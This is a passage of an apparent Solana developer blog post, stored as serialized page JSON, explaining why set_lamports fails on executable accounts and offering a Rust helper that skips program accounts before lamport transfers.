quite.",{"type":24,"tag":395,"props":74299,"children":74301},{"id":74300},"bug-2-writable-but-untouchable-set_lamports-fails",[74302,74304,74310],{"type":29,"value":74303},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":154,"props":74305,"children":74307},{"className":74306},[],[74308],{"type":29,"value":74309},"set_lamports",{"type":29,"value":74311}," Fails",{"type":24,"tag":25,"props":74313,"children":74314},{},[74315,74317,74324],{"type":29,"value":74316},"Let's look at ",{"type":24,"tag":101,"props":74318,"children":74321},{"href":74319,"rel":74320},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[105],[74322],{"type":29,"value":74323},"BorrowedAccount::set_lamports",{"type":29,"value":347},{"type":24,"tag":147,"props":74326,"children":74328},{"className":151,"code":74327,"language":150,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[74329],{"type":24,"tag":154,"props":74330,"children":74331},{"__ignoreMap":7},[74332,74340,74361,74433,74441,74500,74532,74539,74547,74575,74607,74614,74622,74646,74678,74685,74693,74728,74744,74751,74779,74814,74825,74832,74839,74847,74866,74874,74914,74926,74938,74950,74981],{"type":24,"tag":158,"props":74333,"children":74334},{"class":160,"line":161},[74335],{"type":24,"tag":158,"props":74336,"children":74337},{"style":2588},[74338],{"type":29,"value":74339},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":158,"props":74341,"children":74342},{"class":160,"line":213},[74343,74348,74352,74357],{"type":24,"tag":158,"props":74344,"children":74345},{"style":188},[74346],{"type":29,"value":74347},"#[cfg(not(target_os ",{"type":24,"tag":158,"props":74349,"children":74350},{"style":222},[74351],{"type":29,"value":1285},{"type":24,"tag":158,"props":74353,"children":74354},{"style":1108},[74355],{"type":29,"value":74356}," \"solana\"",{"type":24,"tag":158,"props":74358,"children":74359},{"style":188},[74360],{"type":29,"value":21852},{"type":24,"tag":158,"props":74362,"children":74363},{"class":160,"line":238},[74364,74368,74372,74377,74381,74385,74389,74393,74397,74401,74405,74409,74413,74417,74421,74425,74429],{"type":24,"tag":158,"props":74365,"children":74366},{"style":165},[74367],{"type":29,"value":14924},{"type":24,"tag":158,"props":74369,"children":74370},{"style":165},[74371],{"type":29,"value":14929},{"type":24,"tag":158,"props":74373,"children":74374},{"style":496},[74375],{"type":29,"value":74376}," set_lamports",{"type":24,"tag":158,"props":74378,"children":74379},{"style":188},[74380],{"type":29,"value":504},{"type":24,"tag":158,"props":74382,"children":74383},{"style":222},[74384],{"type":29,"value":2212},{"type":24,"tag":158,"props":74386,"children":74387},{"style":165},[74388],{"type":29,"value":2169},{"type":24,"tag":158,"props":74390,"children":74391},{"style":165},[74392],{"type":29,"value":15031},{"type":24,"tag":158,"props":74394,"children":74395},{"style":188},[74396],{"type":29,"value":191},{"type":24,"tag":158,"props":74398,"children":74399},{"style":177},[74400],{"type":29,"value":16747},{"type":24,"tag":158,"props":74402,"children":74403},{"style":222},[74404],{"type":29,"value":225},{"type":24,"tag":158,"props":74406,"children":74407},{"style":171},[74408],{"type":29,"value":230},{"type":24,"tag":158,"props":74410,"children":74411},{"style":188},[74412],{"type":29,"value":723},{"type":24,"tag":158,"props":74414,"children":74415},{"style":222},[74416],{"type":29,"value":14991},{"type":24,"tag":158,"props":74418,"children":74419},{"style":171},[74420],{"type":29,"value":14996},{"type":24,"tag":158,"props":74422,"children":74423},{"style":188},[74424],{"type":29,"value":15001},{"type":24,"tag":158,"props":74426,"children":74427},{"style":171},[74428],{"type":29,"value":16994},{"type":24,"tag":158,"props":74430,"children":74431},{"style":188},[74432],{"type":29,"value":8922},{"type":24,"tag":158,"props":74434,"children":74435},{"class":160,"line":259},[74436],{"type":24,"tag":158,"props":74437,"children":74438},{"style":2588},[74439],{"type":29,"value":74440}," // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":158,"props":74442,"children":74443},{"class":160,"line":280},[74444,74448,74452,74456,74460,74465,74469,74474,74479,74483,74487,74491,74496],{"type":24,"tag":158,"props":74445,"children":74446},{"style":1914},[74447],{"type":29,"value":3160},{"type":24,"tag":158,"props":74449,"children":74450},{"style":222},[74451],{"type":29,"value":3750},{"type":24,"tag":158,"props":74453,"children":74454},{"style":165},[74455],{"type":29,"value":14947},{"type":24,"tag":158,"props":74457,"children":74458},{"style":222},[74459],{"type":29,"value":347},{"type":24,"tag":158,"props":74461,"children":74462},{"style":496},[74463],{"type":29,"value":74464},"is_owned_by_current_program",{"type":24,"tag":158,"props":74466,"children":74467},{"style":188},[74468],{"type":29,"value":15277},{"type":24,"tag":158,"props":74470,"children":74471},{"style":222},[74472],{"type":29,"value":74473},"&&",{"type":24,"tag":158,"props":74475,"children":74476},{"style":177},[74477],{"type":29,"value":74478}," lamports",{"type":24,"tag":158,"props":74480,"children":74481},{"style":222},[74482],{"type":29,"value":2116},{"type":24,"tag":158,"props":74484,"children":74485},{"style":165},[74486],{"type":29,"value":15031},{"type":24,"tag":158,"props":74488,"children":74489},{"style":222},[74490],{"type":29,"value":347},{"type":24,"tag":158,"props":74492,"children":74493},{"style":496},[74494],{"type":29,"value":74495},"get_lamports",{"type":24,"tag":158,"props":74497,"children":74498},{"style":188},[74499],{"type":29,"value":16972},{"type":24,"tag":158,"props":74501,"children":74502},{"class":160,"line":301},[74503,74507,74511,74515,74519,74523,74528],{"type":24,"tag":158,"props":74504,"children":74505},{"style":1914},[74506],{"type":29,"value":16980},{"type":24,"tag":158,"props":74508,"children":74509},{"style":171},[74510],{"type":29,"value":16985},{"type":24,"tag":158,"props":74512,"children":74513},{"style":188},[74514],{"type":29,"value":504},{"type":24,"tag":158,"props":74516,"children":74517},{"style":171},[74518],{"type":29,"value":16994},{"type":24,"tag":158,"props":74520,"children":74521},{"style":222},[74522],{"type":29,"value":2146},{"type":24,"tag":158,"props":74524,"children":74525},{"style":171},[74526],{"type":29,"value":74527},"ExternalAccountLamportSpend",{"type":24,"tag":158,"props":74529,"children":74530},{"style":188},[74531],{"type":29,"value":1071},{"type":24,"tag":158,"props":74533,"children":74534},{"class":160,"line":626},[74535],{"type":24,"tag":158,"props":74536,"children":74537},{"style":188},[74538],{"type":29,"value":3967},{"type":24,"tag":158,"props":74540,"children":74541},{"class":160,"line":668},[74542],{"type":24,"tag":158,"props":74543,"children":74544},{"style":2588},[74545],{"type":29,"value":74546}," // The balance of read-only may not change\n",{"type":24,"tag":158,"props":74548,"children":74549},{"class":160,"line":676},[74550,74554,74558,74562,74566,74571],{"type":24,"tag":158,"props":74551,"children":74552},{"style":1914},[74553],{"type":29,"value":3160},{"type":24,"tag":158,"props":74555,"children":74556},{"style":222},[74557],{"type":29,"value":3750},{"type":24,"tag":158,"props":74559,"children":74560},{"style":165},[74561],{"type":29,"value":14947},{"type":24,"tag":158,"props":74563,"children":74564},{"style":222},[74565],{"type":29,"value":347},{"type":24,"tag":158,"props":74567,"children":74568},{"style":496},[74569],{"type":29,"value":74570},"is_writable",{"type":24,"tag":158,"props":74572,"children":74573},{"style":188},[74574],{"type":29,"value":16972},{"type":24,"tag":158,"props":74576,"children":74577},{"class":160,"line":684},[74578,74582,74586,74590,74594,74598,74603],{"type":24,"tag":158,"props":74579,"children":74580},{"style":1914},[74581],{"type":29,"value":16980},{"type":24,"tag":158,"props":74583,"children":74584},{"style":171},[74585],{"type":29,"value":16985},{"type":24,"tag":158,"props":74587,"children":74588},{"style":188},[74589],{"type":29,"value":504},{"type":24,"tag":158,"props":74591,"children":74592},{"style":171},[74593],{"type":29,"value":16994},{"type":24,"tag":158,"props":74595,"children":74596},{"style":222},[74597],{"type":29,"value":2146},{"type":24,"tag":158,"props":74599,"children":74600},{"style":171},[74601],{"type":29,"value":74602},"ReadonlyLamportChange",{"type":24,"tag":158,"props":74604,"children":74605},{"style":188},[74606],{"type":29,"value":1071},{"type":24,"tag":158,"props":74608,"children":74609},{"class":160,"line":700},[74610],{"type":24,"tag":158,"props":74611,"children":74612},{"style":188},[74613],{"type":29,"value":3967},{"type":24,"tag":158,"props":74615,"children":74616},{"class":160,"line":785},[74617],{"type":24,"tag":158,"props":74618,"children":74619},{"style":2588},[74620],{"type":29,"value":74621}," // The balance of executable accounts may not change\n",{"type":24,"tag":158,"props":74623,"children":74624},{"class":160,"line":1447},[74625,74629,74633,74637,74642],{"type":24,"tag":158,"props":74626,"children":74627},{"style":1914},[74628],{"type":29,"value":3160},{"type":24,"tag":158,"props":74630,"children":74631},{"style":165},[74632],{"type":29,"value":15031},{"type":24,"tag":158,"props":74634,"children":74635},{"style":222},[74636],{"type":29,"value":347},{"type":24,"tag":158,"props":74638,"children":74639},{"style":496},[74640],{"type":29,"value":74641},"is_executable_internal",{"type":24,"tag":158,"props":74643,"children":74644},{"style":188},[74645],{"type":29,"value":16972},{"type":24,"tag":158,"props":74647,"children":74648},{"class":160,"line":1509},[74649,74653,74657,74661,74665,74669,74674],{"type":24,"tag":158,"props":74650,"children":74651},{"style":1914},[74652],{"type":29,"value":16980},{"type":24,"tag":158,"props":74654,"children":74655},{"style":171},[74656],{"type":29,"value":16985},{"type":24,"tag":158,"props":74658,"children":74659},{"style":188},[74660],{"type":29,"value":504},{"type":24,"tag":158,"props":74662,"children":74663},{"style":171},[74664],{"type":29,"value":16994},{"type":24,"tag":158,"props":74666,"children":74667},{"style":222},[74668],{"type":29,"value":2146},{"type":24,"tag":158,"props":74670,"children":74671},{"style":171},[74672],{"type":29,"value":74673},"ExecutableLamportChange",{"type":24,"tag":158,"props":74675,"children":74676},{"style":188},[74677],{"type":29,"value":1071},{"type":24,"tag":158,"props":74679,"children":74680},{"class":160,"line":1527},[74681],{"type":24,"tag":158,"props":74682,"children":74683},{"style":188},[74684],{"type":29,"value":3967},{"type":24,"tag":158,"props":74686,"children":74687},{"class":160,"line":1545},[74688],{"type":24,"tag":158,"props":74689,"children":74690},{"style":2588},[74691],{"type":29,"value":74692}," // don't touch the account if the lamports do not change\n",{"type":24,"tag":158,"props":74694,"children":74695},{"class":160,"line":1618},[74696,74700,74704,74708,74712,74716,74720,74724],{"type":24,"tag":158,"props":74697,"children":74698},{"style":1914},[74699],{"type":29,"value":3160},{"type":24,"tag":158,"props":74701,"children":74702},{"style":165},[74703],{"type":29,"value":15031},{"type":24,"tag":158,"props":74705,"children":74706},{"style":222},[74707],{"type":29,"value":347},{"type":24,"tag":158,"props":74709,"children":74710},{"style":496},[74711],{"type":29,"value":74495},{"type":24,"tag":158,"props":74713,"children":74714},{"style":188},[74715],{"type":29,"value":15277},{"type":24,"tag":158,"props":74717,"children":74718},{"style":222},[74719],{"type":29,"value":1034},{"type":24,"tag":158,"props":74721,"children":74722},{"style":177},[74723],{"type":29,"value":74478},{"type":24,"tag":158,"props":74725,"children":74726},{"style":188},[74727],{"type":29,"value":210},{"type":24,"tag":158,"props":74729,"children":74730},{"class":160,"line":1635},[74731,74735,74739],{"type":24,"tag":158,"props":74732,"children":74733},{"style":1914},[74734],{"type":29,"value":16980},{"type":24,"tag":158,"props":74736,"children":74737},{"style":171},[74738],{"type":29,"value":44203},{"type":24,"tag":158,"props":74740,"children":74741},{"style":188},[74742],{"type":29,"value":74743},"(());\n",{"type":24,"tag":158,"props":74745,"children":74746},{"class":160,"line":1644},[74747],{"type":24,"tag":158,"props":74748,"children":74749},{"style":188},[74750],{"type":29,"value":3967},{"type":24,"tag":158,"props":74752,"children":74753},{"class":160,"line":1652},[74754,74758,74762,74767,74771,74775],{"type":24,"tag":158,"props":74755,"children":74756},{"style":165},[74757],{"type":29,"value":22030},{"type":24,"tag":158,"props":74759,"children":74760},{"style":222},[74761],{"type":29,"value":347},{"type":24,"tag":158,"props":74763,"children":74764},{"style":496},[74765],{"type":29,"value":74766},"touch",{"type":24,"tag":158,"props":74768,"children":74769},{"style":188},[74770],{"type":29,"value":15113},{"type":24,"tag":158,"props":74772,"children":74773},{"style":222},[74774],{"type":29,"value":4820},{"type":24,"tag":158,"props":74776,"children":74777},{"style":188},[74778],{"type":29,"value":473},{"type":24,"tag":158,"props":74780,"children":74781},{"class":160,"line":1704},[74782,74786,74790,74794,74798,74802,74806,74810],{"type":24,"tag":158,"props":74783,"children":74784},{"style":165},[74785],{"type":29,"value":22030},{"type":24,"tag":158,"props":74787,"children":74788},{"style":222},[74789],{"type":29,"value":347},{"type":24,"tag":158,"props":74791,"children":74792},{"style":188},[74793],{"type":29,"value":3844},{"type":24,"tag":158,"props":74795,"children":74796},{"style":222},[74797],{"type":29,"value":347},{"type":24,"tag":158,"props":74799,"children":74800},{"style":496},[74801],{"type":29,"value":74309},{"type":24,"tag":158,"props":74803,"children":74804},{"style":188},[74805],{"type":29,"value":504},{"type":24,"tag":158,"props":74807,"children":74808},{"style":177},[74809],{"type":29,"value":16747},{"type":24,"tag":158,"props":74811,"children":74812},{"style":188},[74813],{"type":29,"value":1071},{"type":24,"tag":158,"props":74815,"children":74816},{"class":160,"line":1713},[74817,74821],{"type":24,"tag":158,"props":74818,"children":74819},{"style":171},[74820],{"type":29,"value":15567},{"type":24,"tag":158,"props":74822,"children":74823},{"style":188},[74824],{"type":29,"value":15572},{"type":24,"tag":158,"props":74826,"children":74827},{"class":160,"line":1731},[74828],{"type":24,"tag":158,"props":74829,"children":74830},{"style":188},[74831],{"type":29,"value":307},{"type":24,"tag":158,"props":74833,"children":74834},{"class":160,"line":5485},[74835],{"type":24,"tag":158,"props":74836,"children":74837},{"emptyLinePlaceholder":16},[74838],{"type":29,"value":481},{"type":24,"tag":158,"props":74840,"children":74841},{"class":160,"line":5493},[74842],{"type":24,"tag":158,"props":74843,"children":74844},{"style":2588},[74845],{"type":29,"value":74846},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":158,"props":74848,"children":74849},{"class":160,"line":5553},[74850,74854,74858,74862],{"type":24,"tag":158,"props":74851,"children":74852},{"style":188},[74853],{"type":29,"value":74347},{"type":24,"tag":158,"props":74855,"children":74856},{"style":222},[74857],{"type":29,"value":1285},{"type":24,"tag":158,"props":74859,"children":74860},{"style":1108},[74861],{"type":29,"value":74356},{"type":24,"tag":158,"props":74863,"children":74864},{"style":188},[74865],{"type":29,"value":21852},{"type":24,"tag":158,"props":74867,"children":74868},{"class":160,"line":10636},[74869],{"type":24,"tag":158,"props":74870,"children":74871},{"style":188},[74872],{"type":29,"value":74873},"#[inline]\n",{"type":24,"tag":158,"props":74875,"children":74876},{"class":160,"line":10652},[74877,74881,74886,74890,74894,74898,74902,74906,74910],{"type":24,"tag":158,"props":74878,"children":74879},{"style":165},[74880],{"type":29,"value":21510},{"type":24,"tag":158,"props":74882,"children":74883},{"style":496},[74884],{"type":29,"value":74885}," is_executable_internal",{"type":24,"tag":158,"props":74887,"children":74888},{"style":188},[74889],{"type":29,"value":504},{"type":24,"tag":158,"props":74891,"children":74892},{"style":222},[74893],{"type":29,"value":2212},{"type":24,"tag":158,"props":74895,"children":74896},{"style":165},[74897],{"type":29,"value":14947},{"type":24,"tag":158,"props":74899,"children":74900},{"style":188},[74901],{"type":29,"value":723},{"type":24,"tag":158,"props":74903,"children":74904},{"style":222},[74905],{"type":29,"value":14991},{"type":24,"tag":158,"props":74907,"children":74908},{"style":171},[74909],{"type":29,"value":2928},{"type":24,"tag":158,"props":74911,"children":74912},{"style":188},[74913],{"type":29,"value":210},{"type":24,"tag":158,"props":74915,"children":74916},{"class":160,"line":10696},[74917,74921],{"type":24,"tag":158,"props":74918,"children":74919},{"style":222},[74920],{"type":29,"value":22214},{"type":24,"tag":158,"props":74922,"children":74923},{"style":165},[74924],{"type":29,"value":74925},"self\n",{"type":24,"tag":158,"props":74927,"children":74928},{"class":160,"line":10801},[74929,74933],{"type":24,"tag":158,"props":74930,"children":74931},{"style":222},[74932],{"type":29,"value":69535},{"type":24,"tag":158,"props":74934,"children":74935},{"style":188},[74936],{"type":29,"value":74937},"transaction_context\n",{"type":24,"tag":158,"props":74939,"children":74940},{"class":160,"line":24754},[74941,74945],{"type":24,"tag":158,"props":74942,"children":74943},{"style":222},[74944],{"type":29,"value":69535},{"type":24,"tag":158,"props":74946,"children":74947},{"style":188},[74948],{"type":29,"value":74949},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":158,"props":74951,"children":74952},{"class":160,"line":24789},[74953,74957,74961,74965,74969,74973,74977],{"type":24,"tag":158,"props":74954,"children":74955},{"style":222},[74956],{"type":29,"value":44067},{"type":24,"tag":158,"props":74958,"children":74959},{"style":165},[74960],{"type":29,"value":15031},{"type":24,"tag":158,"props":74962,"children":74963},{"style":222},[74964],{"type":29,"value":347},{"type":24,"tag":158,"props":74966,"children":74967},{"style":188},[74968],{"type":29,"value":3844},{"type":24,"tag":158,"props":74970,"children":74971},{"style":222},[74972],{"type":29,"value":347},{"type":24,"tag":158,"props":74974,"children":74975},{"style":496},[74976],{"type":29,"value":16891},{"type":24,"tag":158,"props":74978,"children":74979},{"style":188},[74980],{"type":29,"value":9376},{"type":24,"tag":158,"props":74982,"children":74983},{"class":160,"line":24797},[74984],{"type":24,"tag":158,"props":74985,"children":74986},{"style":188},[74987],{"type":29,"value":307},{"type":24,"tag":25,"props":74989,"children":74990},{},[74991],{"type":29,"value":74992},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":74994,"children":74995},{},[74996,74998,75003],{"type":29,"value":74997},"Specifically, ",{"type":24,"tag":897,"props":74999,"children":75000},{},[75001],{"type":29,"value":75002},"executable accounts",{"type":29,"value":75004}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":20134,"props":75006,"children":75008},{"id":75007},"sidebar-whats-the-executable-flag-anyway",[75009],{"type":29,"value":75010},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":75012,"children":75013},{},[75014,75015,75020],{"type":29,"value":17850},{"type":24,"tag":154,"props":75016,"children":75018},{"className":75017},[],[75019],{"type":29,"value":16891},{"type":29,"value":75021}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":75023,"children":75024},{},[75025,75027,75032],{"type":29,"value":75026},"This behavior became problematic with the introduction of the ",{"type":24,"tag":897,"props":75028,"children":75029},{},[75030],{"type":29,"value":75031},"Upgradeable BPF Loader",{"type":29,"value":75033},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":147,"props":75035,"children":75037},{"className":151,"code":75036,"language":150,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[75038],{"type":24,"tag":154,"props":75039,"children":75040},{"__ignoreMap":7},[75041,75053,75061,75081,75089,75101,75109,75129,75137,75165,75173,75181],{"type":24,"tag":158,"props":75042,"children":75043},{"class":160,"line":161},[75044,75049],{"type":24,"tag":158,"props":75045,"children":75046},{"style":171},[75047],{"type":29,"value":75048},"Program",{"type":24,"tag":158,"props":75050,"children":75051},{"style":188},[75052],{"type":29,"value":210},{"type":24,"tag":158,"props":75054,"children":75055},{"class":160,"line":213},[75056],{"type":24,"tag":158,"props":75057,"children":75058},{"style":2588},[75059],{"type":29,"value":75060}," /// Address of the ProgramData account.\n",{"type":24,"tag":158,"props":75062,"children":75063},{"class":160,"line":238},[75064,75069,75073,75077],{"type":24,"tag":158,"props":75065,"children":75066},{"style":177},[75067],{"type":29,"value":75068}," programdata_address",{"type":24,"tag":158,"props":75070,"children":75071},{"style":222},[75072],{"type":29,"value":225},{"type":24,"tag":158,"props":75074,"children":75075},{"style":171},[75076],{"type":29,"value":22101},{"type":24,"tag":158,"props":75078,"children":75079},{"style":188},[75080],{"type":29,"value":235},{"type":24,"tag":158,"props":75082,"children":75083},{"class":160,"line":259},[75084],{"type":24,"tag":158,"props":75085,"children":75086},{"style":188},[75087],{"type":29,"value":75088},"},\n",{"type":24,"tag":158,"props":75090,"children":75091},{"class":160,"line":280},[75092,75097],{"type":24,"tag":158,"props":75093,"children":75094},{"style":171},[75095],{"type":29,"value":75096},"ProgramData",{"type":24,"tag":158,"props":75098,"children":75099},{"style":188},[75100],{"type":29,"value":210},{"type":24,"tag":158,"props":75102,"children":75103},{"class":160,"line":301},[75104],{"type":24,"tag":158,"props":75105,"children":75106},{"style":2588},[75107],{"type":29,"value":75108}," /// Slot that the program was last modified.\n",{"type":24,"tag":158,"props":75110,"children":75111},{"class":160,"line":626},[75112,75117,75121,75125],{"type":24,"tag":158,"props":75113,"children":75114},{"style":177},[75115],{"type":29,"value":75116}," slot",{"type":24,"tag":158,"props":75118,"children":75119},{"style":222},[75120],{"type":29,"value":225},{"type":24,"tag":158,"props":75122,"children":75123},{"style":171},[75124],{"type":29,"value":230},{"type":24,"tag":158,"props":75126,"children":75127},{"style":188},[75128],{"type":29,"value":235},{"type":24,"tag":158,"props":75130,"children":75131},{"class":160,"line":668},[75132],{"type":24,"tag":158,"props":75133,"children":75134},{"style":2588},[75135],{"type":29,"value":75136}," /// Address of the Program's upgrade authority.\n",{"type":24,"tag":158,"props":75138,"children":75139},{"class":160,"line":676},[75140,75145,75149,75153,75157,75161],{"type":24,"tag":158,"props":75141,"children":75142},{"style":177},[75143],{"type":29,"value":75144}," upgrade_authority_address",{"type":24,"tag":158,"props":75146,"children":75147},{"style":222},[75148],{"type":29,"value":225},{"type":24,"tag":158,"props":75150,"children":75151},{"style":171},[75152],{"type":29,"value":28903},{"type":24,"tag":158,"props":75154,"children":75155},{"style":188},[75156],{"type":29,"value":3760},{"type":24,"tag":158,"props":75158,"children":75159},{"style":171},[75160],{"type":29,"value":22642},{"type":24,"tag":158,"props":75162,"children":75163},{"style":188},[75164],{"type":29,"value":7788},{"type":24,"tag":158,"props":75166,"children":75167},{"class":160,"line":684},[75168],{"type":24,"tag":158,"props":75169,"children":75170},{"style":2588},[75171],{"type":29,"value":75172}," // The raw program data follows this serialized structure in the\n",{"type":24,"tag":158,"props":75174,"children":75175},{"class":160,"line":700},[75176],{"type":24,"tag":158,"props":75177,"children":75178},{"style":2588},[75179],{"type":29,"value":75180}," // account's data.\n",{"type":24,"tag":158,"props":75182,"children":75183},{"class":160,"line":785},[75184],{"type":24,"tag":158,"props":75185,"children":75186},{"style":188},[75187],{"type":29,"value":75088},{"type":24,"tag":25,"props":75189,"children":75190},{},[75191,75193,75200],{"type":29,"value":75192},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":101,"props":75194,"children":75197},{"href":75195,"rel":75196},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[105],[75198],{"type":29,"value":75199},"SIMD-0162",{"type":29,"value":75201},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":75203,"children":75204},{},[75205,75207,75212,75214,75219],{"type":29,"value":75206},"This change is also a ",{"type":24,"tag":897,"props":75208,"children":75209},{},[75210],{"type":29,"value":75211},"hard requirement for supporting the new loader-v4",{"type":29,"value":75213},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":154,"props":75215,"children":75217},{"className":75216},[],[75218],{"type":29,"value":75096},{"type":29,"value":75220}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":75222,"children":75223},{},[75224,75226,75233,75235,75240],{"type":29,"value":75225},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":101,"props":75227,"children":75230},{"href":75228,"rel":75229},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[105],[75231],{"type":29,"value":75232},"migrate",{"type":29,"value":75234}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":154,"props":75236,"children":75238},{"className":75237},[],[75239],{"type":29,"value":74673},{"type":29,"value":75241}," restriction.",{"type":24,"tag":20134,"props":75243,"children":75245},{"id":75244},"fix-2-reject-program-accounts",[75246],{"type":29,"value":75247},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":75249,"children":75250},{},[75251],{"type":29,"value":75252},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":147,"props":75254,"children":75256},{"className":151,"code":75255,"language":150,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[75257],{"type":24,"tag":154,"props":75258,"children":75259},{"__ignoreMap":7},[75260,75336,75384,75400,75407,75446,75490,75514,75563,75591],{"type":24,"tag":158,"props":75261,"children":75262},{"class":160,"line":161},[75263,75267,75271,75276,75280,75284,75288,75292,75296,75300,75304,75308,75312,75316,75320,75324,75328,75332],{"type":24,"tag":158,"props":75264,"children":75265},{"style":165},[75266],{"type":29,"value":14924},{"type":24,"tag":158,"props":75268,"children":75269},{"style":165},[75270],{"type":29,"value":14929},{"type":24,"tag":158,"props":75272,"children":75273},{"style":496},[75274],{"type":29,"value":75275}," can_transfer_lamports",{"type":24,"tag":158,"props":75277,"children":75278},{"style":188},[75279],{"type":29,"value":504},{"type":24,"tag":158,"props":75281,"children":75282},{"style":177},[75283],{"type":29,"value":3844},{"type":24,"tag":158,"props":75285,"children":75286},{"style":222},[75287],{"type":29,"value":225},{"type":24,"tag":158,"props":75289,"children":75290},{"style":222},[75291],{"type":29,"value":8784},{"type":24,"tag":158,"props":75293,"children":75294},{"style":171},[75295],{"type":29,"value":16173},{"type":24,"tag":158,"props":75297,"children":75298},{"style":188},[75299],{"type":29,"value":191},{"type":24,"tag":158,"props":75301,"children":75302},{"style":177},[75303],{"type":29,"value":16747},{"type":24,"tag":158,"props":75305,"children":75306},{"style":222},[75307],{"type":29,"value":225},{"type":24,"tag":158,"props":75309,"children":75310},{"style":171},[75311],{"type":29,"value":230},{"type":24,"tag":158,"props":75313,"children":75314},{"style":188},[75315],{"type":29,"value":723},{"type":24,"tag":158,"props":75317,"children":75318},{"style":222},[75319],{"type":29,"value":14991},{"type":24,"tag":158,"props":75321,"children":75322},{"style":171},[75323],{"type":29,"value":14996},{"type":24,"tag":158,"props":75325,"children":75326},{"style":188},[75327],{"type":29,"value":3760},{"type":24,"tag":158,"props":75329,"children":75330},{"style":171},[75331],{"type":29,"value":30945},{"type":24,"tag":158,"props":75333,"children":75334},{"style":188},[75335],{"type":29,"value":8922},{"type":24,"tag":158,"props":75337,"children":75338},{"class":160,"line":213},[75339,75343,75348,75352,75356,75360,75364,75368,75372,75376,75380],{"type":24,"tag":158,"props":75340,"children":75341},{"style":165},[75342],{"type":29,"value":21510},{"type":24,"tag":158,"props":75344,"children":75345},{"style":496},[75346],{"type":29,"value":75347}," is_program",{"type":24,"tag":158,"props":75349,"children":75350},{"style":188},[75351],{"type":29,"value":504},{"type":24,"tag":158,"props":75353,"children":75354},{"style":177},[75355],{"type":29,"value":3844},{"type":24,"tag":158,"props":75357,"children":75358},{"style":222},[75359],{"type":29,"value":225},{"type":24,"tag":158,"props":75361,"children":75362},{"style":222},[75363],{"type":29,"value":8784},{"type":24,"tag":158,"props":75365,"children":75366},{"style":171},[75367],{"type":29,"value":16173},{"type":24,"tag":158,"props":75369,"children":75370},{"style":188},[75371],{"type":29,"value":723},{"type":24,"tag":158,"props":75373,"children":75374},{"style":222},[75375],{"type":29,"value":14991},{"type":24,"tag":158,"props":75377,"children":75378},{"style":171},[75379],{"type":29,"value":2928},{"type":24,"tag":158,"props":75381,"children":75382},{"style":188},[75383],{"type":29,"value":210},{"type":24,"tag":158,"props":75385,"children":75386},{"class":160,"line":238},[75387,75391,75395],{"type":24,"tag":158,"props":75388,"children":75389},{"style":177},[75390],{"type":29,"value":26428},{"type":24,"tag":158,"props":75392,"children":75393},{"style":222},[75394],{"type":29,"value":347},{"type":24,"tag":158,"props":75396,"children":75397},{"style":188},[75398],{"type":29,"value":75399},"executable\n",{"type":24,"tag":158,"props":75401,"children":75402},{"class":160,"line":259},[75403],{"type":24,"tag":158,"props":75404,"children":75405},{"style":188},[75406],{"type":29,"value":307},{"type":24,"tag":158,"props":75408,"children":75409},{"class":160,"line":280},[75410,75414,75418,75422,75426,75430,75434,75438,75442],{"type":24,"tag":158,"props":75411,"children":75412},{"style":165},[75413],{"type":29,"value":2662},{"type":24,"tag":158,"props":75415,"children":75416},{"style":177},[75417],{"type":29,"value":74167},{"type":24,"